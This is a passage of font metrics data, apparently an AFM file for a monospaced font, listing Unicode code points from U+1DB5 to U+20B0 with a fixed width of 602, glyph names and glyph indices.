U 7605 ; WX 602 ; N uni1DB5 ; G 1383
U 7606 ; WX 602 ; N uni1DB6 ; G 1384
U 7607 ; WX 602 ; N uni1DB7 ; G 1385
U 7609 ; WX 602 ; N uni1DB9 ; G 1386
U 7610 ; WX 602 ; N uni1DBA ; G 1387
U 7611 ; WX 602 ; N uni1DBB ; G 1388
U 7612 ; WX 602 ; N uni1DBC ; G 1389
U 7613 ; WX 602 ; N uni1DBD ; G 1390
U 7614 ; WX 602 ; N uni1DBE ; G 1391
U 7615 ; WX 602 ; N uni1DBF ; G 1392
U 7680 ; WX 602 ; N uni1E00 ; G 1393
U 7681 ; WX 602 ; N uni1E01 ; G 1394
U 7682 ; WX 602 ; N uni1E02 ; G 1395
U 7683 ; WX 602 ; N uni1E03 ; G 1396
U 7684 ; WX 602 ; N uni1E04 ; G 1397
U 7685 ; WX 602 ; N uni1E05 ; G 1398
U 7686 ; WX 602 ; N uni1E06 ; G 1399
U 7687 ; WX 602 ; N uni1E07 ; G 1400
U 7688 ; WX 602 ; N uni1E08 ; G 1401
U 7689 ; WX 602 ; N uni1E09 ; G 1402
U 7690 ; WX 602 ; N uni1E0A ; G 1403
U 7691 ; WX 602 ; N uni1E0B ; G 1404
U 7692 ; WX 602 ; N uni1E0C ; G 1405
U 7693 ; WX 602 ; N uni1E0D ; G 1406
U 7694 ; WX 602 ; N uni1E0E ; G 1407
U 7695 ; WX 602 ; N uni1E0F ; G 1408
U 7696 ; WX 602 ; N uni1E10 ; G 1409
U 7697 ; WX 602 ; N uni1E11 ; G 1410
U 7698 ; WX 602 ; N uni1E12 ; G 1411
U 7699 ; WX 602 ; N uni1E13 ; G 1412
U 7704 ; WX 602 ; N uni1E18 ; G 1413
U 7705 ; WX 602 ; N uni1E19 ; G 1414
U 7706 ; WX 602 ; N uni1E1A ; G 1415
U 7707 ; WX 602 ; N uni1E1B ; G 1416
U 7708 ; WX 602 ; N uni1E1C ; G 1417
U 7709 ; WX 602 ; N uni1E1D ; G 1418
U 7710 ; WX 602 ; N uni1E1E ; G 1419
U 7711 ; WX 602 ; N uni1E1F ; G 1420
U 7712 ; WX 602 ; N uni1E20 ; G 1421
U 7713 ; WX 602 ; N uni1E21 ; G 1422
U 7714 ; WX 602 ; N uni1E22 ; G 1423
U 7715 ; WX 602 ; N uni1E23 ; G 1424
U 7716 ; WX 602 ; N uni1E24 ; G 1425
U 7717 ; WX 602 ; N uni1E25 ; G 1426
U 7718 ; WX 602 ; N uni1E26 ; G 1427
U 7719 ; WX 602 ; N uni1E27 ; G 1428
U 7720 ; WX 602 ; N uni1E28 ; G 1429
U 7721 ; WX 602 ; N uni1E29 ; G 1430
U 7722 ; WX 602 ; N uni1E2A ; G 1431
U 7723 ; WX 602 ; N uni1E2B ; G 1432
U 7724 ; WX 602 ; N uni1E2C ; G 1433
U 7725 ; WX 602 ; N uni1E2D ; G 1434
U 7728 ; WX 602 ; N uni1E30 ; G 1435
U 7729 ; WX 602 ; N uni1E31 ; G 1436
U 7730 ; WX 602 ; N uni1E32 ; G 1437
U 7731 ; WX 602 ; N uni1E33 ; G 1438
U 7732 ; WX 602 ; N uni1E34 ; G 1439
U 7733 ; WX 602 ; N uni1E35 ; G 1440
U 7734 ; WX 602 ; N uni1E36 ; G 1441
U 7735 ; WX 602 ; N uni1E37 ; G 1442
U 7736 ; WX 602 ; N uni1E38 ; G 1443
U 7737 ; WX 602 ; N uni1E39 ; G 1444
U 7738 ; WX 602 ; N uni1E3A ; G 1445
U 7739 ; WX 602 ; N uni1E3B ; G 1446
U 7740 ; WX 602 ; N uni1E3C ; G 1447
U 7741 ; WX 602 ; N uni1E3D ; G 1448
U 7742 ; WX 602 ; N uni1E3E ; G 1449
U 7743 ; WX 602 ; N uni1E3F ; G 1450
U 7744 ; WX 602 ; N uni1E40 ; G 1451
U 7745 ; WX 602 ; N uni1E41 ; G 1452
U 7746 ; WX 602 ; N uni1E42 ; G 1453
U 7747 ; WX 602 ; N uni1E43 ; G 1454
U 7748 ; WX 602 ; N uni1E44 ; G 1455
U 7749 ; WX 602 ; N uni1E45 ; G 1456
U 7750 ; WX 602 ; N uni1E46 ; G 1457
U 7751 ; WX 602 ; N uni1E47 ; G 1458
U 7752 ; WX 602 ; N uni1E48 ; G 1459
U 7753 ; WX 602 ; N uni1E49 ; G 1460
U 7754 ; WX 602 ; N uni1E4A ; G 1461
U 7755 ; WX 602 ; N uni1E4B ; G 1462
U 7756 ; WX 602 ; N uni1E4C ; G 1463
U 7757 ; WX 602 ; N uni1E4D ; G 1464
U 7764 ; WX 602 ; N uni1E54 ; G 1465
U 7765 ; WX 602 ; N uni1E55 ; G 1466
U 7766 ; WX 602 ; N uni1E56 ; G 1467
U 7767 ; WX 602 ; N uni1E57 ; G 1468
U 7768 ; WX 602 ; N uni1E58 ; G 1469
U 7769 ; WX 602 ; N uni1E59 ; G 1470
U 7770 ; WX 602 ; N uni1E5A ; G 1471
U 7771 ; WX 602 ; N uni1E5B ; G 1472
U 7772 ; WX 602 ; N uni1E5C ; G 1473
U 7773 ; WX 602 ; N uni1E5D ; G 1474
U 7774 ; WX 602 ; N uni1E5E ; G 1475
U 7775 ; WX 602 ; N uni1E5F ; G 1476
U 7776 ; WX 602 ; N uni1E60 ; G 1477
U 7777 ; WX 602 ; N uni1E61 ; G 1478
U 7778 ; WX 602 ; N uni1E62 ; G 1479
U 7779 ; WX 602 ; N uni1E63 ; G 1480
U 7784 ; WX 602 ; N uni1E68 ; G 1481
U 7785 ; WX 602 ; N uni1E69 ; G 1482
U 7786 ; WX 602 ; N uni1E6A ; G 1483
U 7787 ; WX 602 ; N uni1E6B ; G 1484
U 7788 ; WX 602 ; N uni1E6C ; G 1485
U 7789 ; WX 602 ; N uni1E6D ; G 1486
U 7790 ; WX 602 ; N uni1E6E ; G 1487
U 7791 ; WX 602 ; N uni1E6F ; G 1488
U 7792 ; WX 602 ; N uni1E70 ; G 1489
U 7793 ; WX 602 ; N uni1E71 ; G 1490
U 7794 ; WX 602 ; N uni1E72 ; G 1491
U 7795 ; WX 602 ; N uni1E73 ; G 1492
U 7796 ; WX 602 ; N uni1E74 ; G 1493
U 7797 ; WX 602 ; N uni1E75 ; G 1494
U 7798 ; WX 602 ; N uni1E76 ; G 1495
U 7799 ; WX 602 ; N uni1E77 ; G 1496
U 7800 ; WX 602 ; N uni1E78 ; G 1497
U 7801 ; WX 602 ; N uni1E79 ; G 1498
U 7804 ; WX 602 ; N uni1E7C ; G 1499
U 7805 ; WX 602 ; N uni1E7D ; G 1500
U 7806 ; WX 602 ; N uni1E7E ; G 1501
U 7807 ; WX 602 ; N uni1E7F ; G 1502
U 7808 ; WX 602 ; N Wgrave ; G 1503
U 7809 ; WX 602 ; N wgrave ; G 1504
U 7810 ; WX 602 ; N Wacute ; G 1505
U 7811 ; WX 602 ; N wacute ; G 1506
U 7812 ; WX 602 ; N Wdieresis ; G 1507
U 7813 ; WX 602 ; N wdieresis ; G 1508
U 7814 ; WX 602 ; N uni1E86 ; G 1509
U 7815 ; WX 602 ; N uni1E87 ; G 1510
U 7816 ; WX 602 ; N uni1E88 ; G 1511
U 7817 ; WX 602 ; N uni1E89 ; G 1512
U 7818 ; WX 602 ; N uni1E8A ; G 1513
U 7819 ; WX 602 ; N uni1E8B ; G 1514
U 7820 ; WX 602 ; N uni1E8C ; G 1515
U 7821 ; WX 602 ; N uni1E8D ; G 1516
U 7822 ; WX 602 ; N uni1E8E ; G 1517
U 7823 ; WX 602 ; N uni1E8F ; G 1518
U 7824 ; WX 602 ; N uni1E90 ; G 1519
U 7825 ; WX 602 ; N uni1E91 ; G 1520
U 7826 ; WX 602 ; N uni1E92 ; G 1521
U 7827 ; WX 602 ; N uni1E93 ; G 1522
U 7828 ; WX 602 ; N uni1E94 ; G 1523
U 7829 ; WX 602 ; N uni1E95 ; G 1524
U 7830 ; WX 602 ; N uni1E96 ; G 1525
U 7831 ; WX 602 ; N uni1E97 ; G 1526
U 7832 ; WX 602 ; N uni1E98 ; G 1527
U 7833 ; WX 602 ; N uni1E99 ; G 1528
U 7835 ; WX 602 ; N uni1E9B ; G 1529
U 7839 ; WX 602 ; N uni1E9F ; G 1530
U 7840 ; WX 602 ; N uni1EA0 ; G 1531
U 7841 ; WX 602 ; N uni1EA1 ; G 1532
U 7852 ; WX 602 ; N uni1EAC ; G 1533
U 7853 ; WX 602 ; N uni1EAD ; G 1534
U 7856 ; WX 602 ; N uni1EB0 ; G 1535
U 7857 ; WX 602 ; N uni1EB1 ; G 1536
U 7862 ; WX 602 ; N uni1EB6 ; G 1537
U 7863 ; WX 602 ; N uni1EB7 ; G 1538
U 7864 ; WX 602 ; N uni1EB8 ; G 1539
U 7865 ; WX 602 ; N uni1EB9 ; G 1540
U 7868 ; WX 602 ; N uni1EBC ; G 1541
U 7869 ; WX 602 ; N uni1EBD ; G 1542
U 7878 ; WX 602 ; N uni1EC6 ; G 1543
U 7879 ; WX 602 ; N uni1EC7 ; G 1544
U 7882 ; WX 602 ; N uni1ECA ; G 1545
U 7883 ; WX 602 ; N uni1ECB ; G 1546
U 7884 ; WX 602 ; N uni1ECC ; G 1547
U 7885 ; WX 602 ; N uni1ECD ; G 1548
U 7896 ; WX 602 ; N uni1ED8 ; G 1549
U 7897 ; WX 602 ; N uni1ED9 ; G 1550
U 7898 ; WX 602 ; N uni1EDA ; G 1551
U 7899 ; WX 602 ; N uni1EDB ; G 1552
U 7900 ; WX 602 ; N uni1EDC ; G 1553
U 7901 ; WX 602 ; N uni1EDD ; G 1554
U 7904 ; WX 602 ; N uni1EE0 ; G 1555
U 7905 ; WX 602 ; N uni1EE1 ; G 1556
U 7906 ; WX 602 ; N uni1EE2 ; G 1557
U 7907 ; WX 602 ; N uni1EE3 ; G 1558
U 7908 ; WX 602 ; N uni1EE4 ; G 1559
U 7909 ; WX 602 ; N uni1EE5 ; G 1560
U 7912 ; WX 602 ; N uni1EE8 ; G 1561
U 7913 ; WX 602 ; N uni1EE9 ; G 1562
U 7914 ; WX 602 ; N uni1EEA ; G 1563
U 7915 ; WX 602 ; N uni1EEB ; G 1564
U 7918 ; WX 602 ; N uni1EEE ; G 1565
U 7919 ; WX 602 ; N uni1EEF ; G 1566
U 7920 ; WX 602 ; N uni1EF0 ; G 1567
U 7921 ; WX 602 ; N uni1EF1 ; G 1568
U 7922 ; WX 602 ; N Ygrave ; G 1569
U 7923 ; WX 602 ; N ygrave ; G 1570
U 7924 ; WX 602 ; N uni1EF4 ; G 1571
U 7925 ; WX 602 ; N uni1EF5 ; G 1572
U 7928 ; WX 602 ; N uni1EF8 ; G 1573
U 7929 ; WX 602 ; N uni1EF9 ; G 1574
U 7936 ; WX 602 ; N uni1F00 ; G 1575
U 7937 ; WX 602 ; N uni1F01 ; G 1576
U 7938 ; WX 602 ; N uni1F02 ; G 1577
U 7939 ; WX 602 ; N uni1F03 ; G 1578
U 7940 ; WX 602 ; N uni1F04 ; G 1579
U 7941 ; WX 602 ; N uni1F05 ; G 1580
U 7942 ; WX 602 ; N uni1F06 ; G 1581
U 7943 ; WX 602 ; N uni1F07 ; G 1582
U 7944 ; WX 602 ; N uni1F08 ; G 1583
U 7945 ; WX 602 ; N uni1F09 ; G 1584
U 7946 ; WX 602 ; N uni1F0A ; G 1585
U 7947 ; WX 602 ; N uni1F0B ; G 1586
U 7948 ; WX 602 ; N uni1F0C ; G 1587
U 7949 ; WX 602 ; N uni1F0D ; G 1588
U 7950 ; WX 602 ; N uni1F0E ; G 1589
U 7951 ; WX 602 ; N uni1F0F ; G 1590
U 7952 ; WX 602 ; N uni1F10 ; G 1591
U 7953 ; WX 602 ; N uni1F11 ; G 1592
U 7954 ; WX 602 ; N uni1F12 ; G 1593
U 7955 ; WX 602 ; N uni1F13 ; G 1594
U 7956 ; WX 602 ; N uni1F14 ; G 1595
U 7957 ; WX 602 ; N uni1F15 ; G 1596
U 7960 ; WX 602 ; N uni1F18 ; G 1597
U 7961 ; WX 602 ; N uni1F19 ; G 1598
U 7962 ; WX 602 ; N uni1F1A ; G 1599
U 7963 ; WX 602 ; N uni1F1B ; G 1600
U 7964 ; WX 602 ; N uni1F1C ; G 1601
U 7965 ; WX 602 ; N uni1F1D ; G 1602
U 7968 ; WX 602 ; N uni1F20 ; G 1603
U 7969 ; WX 602 ; N uni1F21 ; G 1604
U 7970 ; WX 602 ; N uni1F22 ; G 1605
U 7971 ; WX 602 ; N uni1F23 ; G 1606
U 7972 ; WX 602 ; N uni1F24 ; G 1607
U 7973 ; WX 602 ; N uni1F25 ; G 1608
U 7974 ; WX 602 ; N uni1F26 ; G 1609
U 7975 ; WX 602 ; N uni1F27 ; G 1610
U 7976 ; WX 602 ; N uni1F28 ; G 1611
U 7977 ; WX 602 ; N uni1F29 ; G 1612
U 7978 ; WX 602 ; N uni1F2A ; G 1613
U 7979 ; WX 602 ; N uni1F2B ; G 1614
U 7980 ; WX 602 ; N uni1F2C ; G 1615
U 7981 ; WX 602 ; N uni1F2D ; G 1616
U 7982 ; WX 602 ; N uni1F2E ; G 1617
U 7983 ; WX 602 ; N uni1F2F ; G 1618
U 7984 ; WX 602 ; N uni1F30 ; G 1619
U 7985 ; WX 602 ; N uni1F31 ; G 1620
U 7986 ; WX 602 ; N uni1F32 ; G 1621
U 7987 ; WX 602 ; N uni1F33 ; G 1622
U 7988 ; WX 602 ; N uni1F34 ; G 1623
U 7989 ; WX 602 ; N uni1F35 ; G 1624
U 7990 ; WX 602 ; N uni1F36 ; G 1625
U 7991 ; WX 602 ; N uni1F37 ; G 1626
U 7992 ; WX 602 ; N uni1F38 ; G 1627
U 7993 ; WX 602 ; N uni1F39 ; G 1628
U 7994 ; WX 602 ; N uni1F3A ; G 1629
U 7995 ; WX 602 ; N uni1F3B ; G 1630
U 7996 ; WX 602 ; N uni1F3C ; G 1631
U 7997 ; WX 602 ; N uni1F3D ; G 1632
U 7998 ; WX 602 ; N uni1F3E ; G 1633
U 7999 ; WX 602 ; N uni1F3F ; G 1634
U 8000 ; WX 602 ; N uni1F40 ; G 1635
U 8001 ; WX 602 ; N uni1F41 ; G 1636
U 8002 ; WX 602 ; N uni1F42 ; G 1637
U 8003 ; WX 602 ; N uni1F43 ; G 1638
U 8004 ; WX 602 ; N uni1F44 ; G 1639
U 8005 ; WX 602 ; N uni1F45 ; G 1640
U 8008 ; WX 602 ; N uni1F48 ; G 1641
U 8009 ; WX 602 ; N uni1F49 ; G 1642
U 8010 ; WX 602 ; N uni1F4A ; G 1643
U 8011 ; WX 602 ; N uni1F4B ; G 1644
U 8012 ; WX 602 ; N uni1F4C ; G 1645
U 8013 ; WX 602 ; N uni1F4D ; G 1646
U 8016 ; WX 602 ; N uni1F50 ; G 1647
U 8017 ; WX 602 ; N uni1F51 ; G 1648
U 8018 ; WX 602 ; N uni1F52 ; G 1649
U 8019 ; WX 602 ; N uni1F53 ; G 1650
U 8020 ; WX 602 ; N uni1F54 ; G 1651
U 8021 ; WX 602 ; N uni1F55 ; G 1652
U 8022 ; WX 602 ; N uni1F56 ; G 1653
U 8023 ; WX 602 ; N uni1F57 ; G 1654
U 8025 ; WX 602 ; N uni1F59 ; G 1655
U 8027 ; WX 602 ; N uni1F5B ; G 1656
U 8029 ; WX 602 ; N uni1F5D ; G 1657
U 8031 ; WX 602 ; N uni1F5F ; G 1658
U 8032 ; WX 602 ; N uni1F60 ; G 1659
U 8033 ; WX 602 ; N uni1F61 ; G 1660
U 8034 ; WX 602 ; N uni1F62 ; G 1661
U 8035 ; WX 602 ; N uni1F63 ; G 1662
U 8036 ; WX 602 ; N uni1F64 ; G 1663
U 8037 ; WX 602 ; N uni1F65 ; G 1664
U 8038 ; WX 602 ; N uni1F66 ; G 1665
U 8039 ; WX 602 ; N uni1F67 ; G 1666
U 8040 ; WX 602 ; N uni1F68 ; G 1667
U 8041 ; WX 602 ; N uni1F69 ; G 1668
U 8042 ; WX 602 ; N uni1F6A ; G 1669
U 8043 ; WX 602 ; N uni1F6B ; G 1670
U 8044 ; WX 602 ; N uni1F6C ; G 1671
U 8045 ; WX 602 ; N uni1F6D ; G 1672
U 8046 ; WX 602 ; N uni1F6E ; G 1673
U 8047 ; WX 602 ; N uni1F6F ; G 1674
U 8048 ; WX 602 ; N uni1F70 ; G 1675
U 8049 ; WX 602 ; N uni1F71 ; G 1676
U 8050 ; WX 602 ; N uni1F72 ; G 1677
U 8051 ; WX 602 ; N uni1F73 ; G 1678
U 8052 ; WX 602 ; N uni1F74 ; G 1679
U 8053 ; WX 602 ; N uni1F75 ; G 1680
U 8054 ; WX 602 ; N uni1F76 ; G 1681
U 8055 ; WX 602 ; N uni1F77 ; G 1682
U 8056 ; WX 602 ; N uni1F78 ; G 1683
U 8057 ; WX 602 ; N uni1F79 ; G 1684
U 8058 ; WX 602 ; N uni1F7A ; G 1685
U 8059 ; WX 602 ; N uni1F7B ; G 1686
U 8060 ; WX 602 ; N uni1F7C ; G 1687
U 8061 ; WX 602 ; N uni1F7D ; G 1688
U 8064 ; WX 602 ; N uni1F80 ; G 1689
U 8065 ; WX 602 ; N uni1F81 ; G 1690
U 8066 ; WX 602 ; N uni1F82 ; G 1691
U 8067 ; WX 602 ; N uni1F83 ; G 1692
U 8068 ; WX 602 ; N uni1F84 ; G 1693
U 8069 ; WX 602 ; N uni1F85 ; G 1694
U 8070 ; WX 602 ; N uni1F86 ; G 1695
U 8071 ; WX 602 ; N uni1F87 ; G 1696
U 8072 ; WX 602 ; N uni1F88 ; G 1697
U 8073 ; WX 602 ; N uni1F89 ; G 1698
U 8074 ; WX 602 ; N uni1F8A ; G 1699
U 8075 ; WX 602 ; N uni1F8B ; G 1700
U 8076 ; WX 602 ; N uni1F8C ; G 1701
U 8077 ; WX 602 ; N uni1F8D ; G 1702
U 8078 ; WX 602 ; N uni1F8E ; G 1703
U 8079 ; WX 602 ; N uni1F8F ; G 1704
U 8080 ; WX 602 ; N uni1F90 ; G 1705
U 8081 ; WX 602 ; N uni1F91 ; G 1706
U 8082 ; WX 602 ; N uni1F92 ; G 1707
U 8083 ; WX 602 ; N uni1F93 ; G 1708
U 8084 ; WX 602 ; N uni1F94 ; G 1709
U 8085 ; WX 602 ; N uni1F95 ; G 1710
U 8086 ; WX 602 ; N uni1F96 ; G 1711
U 8087 ; WX 602 ; N uni1F97 ; G 1712
U 8088 ; WX 602 ; N uni1F98 ; G 1713
U 8089 ; WX 602 ; N uni1F99 ; G 1714
U 8090 ; WX 602 ; N uni1F9A ; G 1715
U 8091 ; WX 602 ; N uni1F9B ; G 1716
U 8092 ; WX 602 ; N uni1F9C ; G 1717
U 8093 ; WX 602 ; N uni1F9D ; G 1718
U 8094 ; WX 602 ; N uni1F9E ; G 1719
U 8095 ; WX 602 ; N uni1F9F ; G 1720
U 8096 ; WX 602 ; N uni1FA0 ; G 1721
U 8097 ; WX 602 ; N uni1FA1 ; G 1722
U 8098 ; WX 602 ; N uni1FA2 ; G 1723
U 8099 ; WX 602 ; N uni1FA3 ; G 1724
U 8100 ; WX 602 ; N uni1FA4 ; G 1725
U 8101 ; WX 602 ; N uni1FA5 ; G 1726
U 8102 ; WX 602 ; N uni1FA6 ; G 1727
U 8103 ; WX 602 ; N uni1FA7 ; G 1728
U 8104 ; WX 602 ; N uni1FA8 ; G 1729
U 8105 ; WX 602 ; N uni1FA9 ; G 1730
U 8106 ; WX 602 ; N uni1FAA ; G 1731
U 8107 ; WX 602 ; N uni1FAB ; G 1732
U 8108 ; WX 602 ; N uni1FAC ; G 1733
U 8109 ; WX 602 ; N uni1FAD ; G 1734
U 8110 ; WX 602 ; N uni1FAE ; G 1735
U 8111 ; WX 602 ; N uni1FAF ; G 1736
U 8112 ; WX 602 ; N uni1FB0 ; G 1737
U 8113 ; WX 602 ; N uni1FB1 ; G 1738
U 8114 ; WX 602 ; N uni1FB2 ; G 1739
U 8115 ; WX 602 ; N uni1FB3 ; G 1740
U 8116 ; WX 602 ; N uni1FB4 ; G 1741
U 8118 ; WX 602 ; N uni1FB6 ; G 1742
U 8119 ; WX 602 ; N uni1FB7 ; G 1743
U 8120 ; WX 602 ; N uni1FB8 ; G 1744
U 8121 ; WX 602 ; N uni1FB9 ; G 1745
U 8122 ; WX 602 ; N uni1FBA ; G 1746
U 8123 ; WX 602 ; N uni1FBB ; G 1747
U 8124 ; WX 602 ; N uni1FBC ; G 1748
U 8125 ; WX 602 ; N uni1FBD ; G 1749
U 8126 ; WX 602 ; N uni1FBE ; G 1750
U 8127 ; WX 602 ; N uni1FBF ; G 1751
U 8128 ; WX 602 ; N uni1FC0 ; G 1752
U 8129 ; WX 602 ; N uni1FC1 ; G 1753
U 8130 ; WX 602 ; N uni1FC2 ; G 1754
U 8131 ; WX 602 ; N uni1FC3 ; G 1755
U 8132 ; WX 602 ; N uni1FC4 ; G 1756
U 8134 ; WX 602 ; N uni1FC6 ; G 1757
U 8135 ; WX 602 ; N uni1FC7 ; G 1758
U 8136 ; WX 602 ; N uni1FC8 ; G 1759
U 8137 ; WX 602 ; N uni1FC9 ; G 1760
U 8138 ; WX 602 ; N uni1FCA ; G 1761
U 8139 ; WX 602 ; N uni1FCB ; G 1762
U 8140 ; WX 602 ; N uni1FCC ; G 1763
U 8141 ; WX 602 ; N uni1FCD ; G 1764
U 8142 ; WX 602 ; N uni1FCE ; G 1765
U 8143 ; WX 602 ; N uni1FCF ; G 1766
U 8144 ; WX 602 ; N uni1FD0 ; G 1767
U 8145 ; WX 602 ; N uni1FD1 ; G 1768
U 8146 ; WX 602 ; N uni1FD2 ; G 1769
U 8147 ; WX 602 ; N uni1FD3 ; G 1770
U 8150 ; WX 602 ; N uni1FD6 ; G 1771
U 8151 ; WX 602 ; N uni1FD7 ; G 1772
U 8152 ; WX 602 ; N uni1FD8 ; G 1773
U 8153 ; WX 602 ; N uni1FD9 ; G 1774
U 8154 ; WX 602 ; N uni1FDA ; G 1775
U 8155 ; WX 602 ; N uni1FDB ; G 1776
U 8157 ; WX 602 ; N uni1FDD ; G 1777
U 8158 ; WX 602 ; N uni1FDE ; G 1778
U 8159 ; WX 602 ; N uni1FDF ; G 1779
U 8160 ; WX 602 ; N uni1FE0 ; G 1780
U 8161 ; WX 602 ; N uni1FE1 ; G 1781
U 8162 ; WX 602 ; N uni1FE2 ; G 1782
U 8163 ; WX 602 ; N uni1FE3 ; G 1783
U 8164 ; WX 602 ; N uni1FE4 ; G 1784
U 8165 ; WX 602 ; N uni1FE5 ; G 1785
U 8166 ; WX 602 ; N uni1FE6 ; G 1786
U 8167 ; WX 602 ; N uni1FE7 ; G 1787
U 8168 ; WX 602 ; N uni1FE8 ; G 1788
U 8169 ; WX 602 ; N uni1FE9 ; G 1789
U 8170 ; WX 602 ; N uni1FEA ; G 1790
U 8171 ; WX 602 ; N uni1FEB ; G 1791
U 8172 ; WX 602 ; N uni1FEC ; G 1792
U 8173 ; WX 602 ; N uni1FED ; G 1793
U 8174 ; WX 602 ; N uni1FEE ; G 1794
U 8175 ; WX 602 ; N uni1FEF ; G 1795
U 8178 ; WX 602 ; N uni1FF2 ; G 1796
U 8179 ; WX 602 ; N uni1FF3 ; G 1797
U 8180 ; WX 602 ; N uni1FF4 ; G 1798
U 8182 ; WX 602 ; N uni1FF6 ; G 1799
U 8183 ; WX 602 ; N uni1FF7 ; G 1800
U 8184 ; WX 602 ; N uni1FF8 ; G 1801
U 8185 ; WX 602 ; N uni1FF9 ; G 1802
U 8186 ; WX 602 ; N uni1FFA ; G 1803
U 8187 ; WX 602 ; N uni1FFB ; G 1804
U 8188 ; WX 602 ; N uni1FFC ; G 1805
U 8189 ; WX 602 ; N uni1FFD ; G 1806
U 8190 ; WX 602 ; N uni1FFE ; G 1807
U 8192 ; WX 602 ; N uni2000 ; G 1808
U 8193 ; WX 602 ; N uni2001 ; G 1809
U 8194 ; WX 602 ; N uni2002 ; G 1810
U 8195 ; WX 602 ; N uni2003 ; G 1811
U 8196 ; WX 602 ; N uni2004 ; G 1812
U 8197 ; WX 602 ; N uni2005 ; G 1813
U 8198 ; WX 602 ; N uni2006 ; G 1814
U 8199 ; WX 602 ; N uni2007 ; G 1815
U 8200 ; WX 602 ; N uni2008 ; G 1816
U 8201 ; WX 602 ; N uni2009 ; G 1817
U 8202 ; WX 602 ; N uni200A ; G 1818
U 8208 ; WX 602 ; N uni2010 ; G 1819
U 8209 ; WX 602 ; N uni2011 ; G 1820
U 8210 ; WX 602 ; N figuredash ; G 1821
U 8211 ; WX 602 ; N endash ; G 1822
U 8212 ; WX 602 ; N emdash ; G 1823
U 8213 ; WX 602 ; N uni2015 ; G 1824
U 8214 ; WX 602 ; N uni2016 ; G 1825
U 8215 ; WX 602 ; N underscoredbl ; G 1826
U 8216 ; WX 602 ; N quoteleft ; G 1827
U 8217 ; WX 602 ; N quoteright ; G 1828
U 8218 ; WX 602 ; N quotesinglbase ; G 1829
U 8219 ; WX 602 ; N quotereversed ; G 1830
U 8220 ; WX 602 ; N quotedblleft ; G 1831
U 8221 ; WX 602 ; N quotedblright ; G 1832
U 8222 ; WX 602 ; N quotedblbase ; G 1833
U 8223 ; WX 602 ; N uni201F ; G 1834
U 8224 ; WX 602 ; N dagger ; G 1835
U 8225 ; WX 602 ; N daggerdbl ; G 1836
U 8226 ; WX 602 ; N bullet ; G 1837
U 8227 ; WX 602 ; N uni2023 ; G 1838
U 8230 ; WX 602 ; N ellipsis ; G 1839
U 8239 ; WX 602 ; N uni202F ; G 1840
U 8240 ; WX 602 ; N perthousand ; G 1841
U 8241 ; WX 602 ; N uni2031 ; G 1842
U 8242 ; WX 602 ; N minute ; G 1843
U 8243 ; WX 602 ; N second ; G 1844
U 8244 ; WX 602 ; N uni2034 ; G 1845
U 8245 ; WX 602 ; N uni2035 ; G 1846
U 8246 ; WX 602 ; N uni2036 ; G 1847
U 8247 ; WX 602 ; N uni2037 ; G 1848
U 8249 ; WX 602 ; N guilsinglleft ; G 1849
U 8250 ; WX 602 ; N guilsinglright ; G 1850
U 8252 ; WX 602 ; N exclamdbl ; G 1851
U 8253 ; WX 602 ; N uni203D ; G 1852
U 8254 ; WX 602 ; N uni203E ; G 1853
U 8255 ; WX 602 ; N uni203F ; G 1854
U 8261 ; WX 602 ; N uni2045 ; G 1855
U 8262 ; WX 602 ; N uni2046 ; G 1856
U 8263 ; WX 602 ; N uni2047 ; G 1857
U 8264 ; WX 602 ; N uni2048 ; G 1858
U 8265 ; WX 602 ; N uni2049 ; G 1859
U 8267 ; WX 602 ; N uni204B ; G 1860
U 8287 ; WX 602 ; N uni205F ; G 1861
U 8304 ; WX 602 ; N uni2070 ; G 1862
U 8305 ; WX 602 ; N uni2071 ; G 1863
U 8308 ; WX 602 ; N uni2074 ; G 1864
U 8309 ; WX 602 ; N uni2075 ; G 1865
U 8310 ; WX 602 ; N uni2076 ; G 1866
U 8311 ; WX 602 ; N uni2077 ; G 1867
U 8312 ; WX 602 ; N uni2078 ; G 1868
U 8313 ; WX 602 ; N uni2079 ; G 1869
U 8314 ; WX 602 ; N uni207A ; G 1870
U 8315 ; WX 602 ; N uni207B ; G 1871
U 8316 ; WX 602 ; N uni207C ; G 1872
U 8317 ; WX 602 ; N uni207D ; G 1873
U 8318 ; WX 602 ; N uni207E ; G 1874
U 8319 ; WX 602 ; N uni207F ; G 1875
U 8320 ; WX 602 ; N uni2080 ; G 1876
U 8321 ; WX 602 ; N uni2081 ; G 1877
U 8322 ; WX 602 ; N uni2082 ; G 1878
U 8323 ; WX 602 ; N uni2083 ; G 1879
U 8324 ; WX 602 ; N uni2084 ; G 1880
U 8325 ; WX 602 ; N uni2085 ; G 1881
U 8326 ; WX 602 ; N uni2086 ; G 1882
U 8327 ; WX 602 ; N uni2087 ; G 1883
U 8328 ; WX 602 ; N uni2088 ; G 1884
U 8329 ; WX 602 ; N uni2089 ; G 1885
U 8330 ; WX 602 ; N uni208A ; G 1886
U 8331 ; WX 602 ; N uni208B ; G 1887
U 8332 ; WX 602 ; N uni208C ; G 1888
U 8333 ; WX 602 ; N uni208D ; G 1889
U 8334 ; WX 602 ; N uni208E ; G 1890
U 8336 ; WX 602 ; N uni2090 ; G 1891
U 8337 ; WX 602 ; N uni2091 ; G 1892
U 8338 ; WX 602 ; N uni2092 ; G 1893
U 8339 ; WX 602 ; N uni2093 ; G 1894
U 8340 ; WX 602 ; N uni2094 ; G 1895
U 8341 ; WX 602 ; N uni2095 ; G 1896
U 8342 ; WX 602 ; N uni2096 ; G 1897
U 8343 ; WX 602 ; N uni2097 ; G 1898
U 8344 ; WX 602 ; N uni2098 ; G 1899
U 8345 ; WX 602 ; N uni2099 ; G 1900
U 8346 ; WX 602 ; N uni209A ; G 1901
U 8347 ; WX 602 ; N uni209B ; G 1902
U 8348 ; WX 602 ; N uni209C ; G 1903
U 8352 ; WX 602 ; N uni20A0 ; G 1904
U 8353 ; WX 602 ; N colonmonetary ; G 1905
U 8354 ; WX 602 ; N uni20A2 ; G 1906
U 8355 ; WX 602 ; N franc ; G 1907
U 8356 ; WX 602 ; N lira ; G 1908
U 8357 ; WX 602 ; N uni20A5 ; G 1909
U 8358 ; WX 602 ; N uni20A6 ; G 1910
U 8359 ; WX 602 ; N peseta ; G 1911
U 8360 ; WX 602 ; N uni20A8 ; G 1912
U 8361 ; WX 602 ; N uni20A9 ; G 1913
U 8362 ; WX 602 ; N uni20AA ; G 1914
U 8363 ; WX 602 ; N dong ; G 1915
U 8364 ; WX 602 ; N Euro ; G 1916
U 8365 ; WX 602 ; N uni20AD ; G 1917
U 8366 ; WX 602 ; N uni20AE ; G 1918
U 8367 ; WX 602 ; N uni20AF ; G 1919
U 8368 ; WX 602 ; N uni20B0 ; G 1920
